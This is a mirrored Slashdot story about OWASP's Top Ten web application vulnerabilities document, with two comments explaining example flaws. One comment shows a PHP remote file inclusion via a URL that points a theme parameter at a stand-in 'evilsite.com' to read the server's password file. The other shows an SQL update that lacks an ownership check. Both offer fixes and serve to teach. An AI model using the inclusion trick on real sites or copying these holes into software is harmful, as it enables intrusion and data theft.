Slashdot Mirror

← Back to Stories (view on slashdot.org)

Top 10 Vulnerabilities in Web Applications

Posted by Hemos on from the learning-from-the-mistakes-of-others dept.

sverrehu writes "The Open Web Application Security Project (OWASP) has released a well-written document that is a must read for every web programmer out there. This security document is not about firewalls, encryption and patching. It's about common, highly exploitable errors made by the application programmers. Pick up your copy of "The Ten Most Critical Web Application Security Vulnerabilities" from the OWASP web site."

2 of 229 comments (clear)

  1. Re:Open Source Needs People to Reuse code by szyzyg · · Score: 5, Informative

    I believe hes referring to this construct.
    a simple example of a bad include is

    include($theme . "theme.php");

    Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.

    webpage.php?theme=brushedmetal

    now.....

    the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like

    webpage.php?theme=http://evilsite.com/

    and on evilsite.com have a theme.php file which does something like

    So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).

    Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs .

  2. Here's an Example by oni · · Score: 5, Informative

    Here's a quick and language independent example of how easy it is to miss a security hole in a web application: Say you've created a message board with the ability to edit posts. When a user clicks the edit button they get a form with a textarea to type in and the messageID as a hidden field. When they submit the form you do something like this in SQL:

    UPDATE forum
    SET comment = form.comment
    WHERE messageID = form.messageID

    Do you see the error there? I can edit the form to send a different messageID and change any comment I want. The solution?

    WHERE messageID = form.messageID AND userID = cookie.userID

    Because HTML is stateless, you have to authenticate the user on every hit and use that authenticated identity as part of every database action. How you do that is a subject unto itself!

    At any rate, I just wanted to show how easy it is to introduce a serious security flaw into a web application. The only countermeasure is competent, careful coding.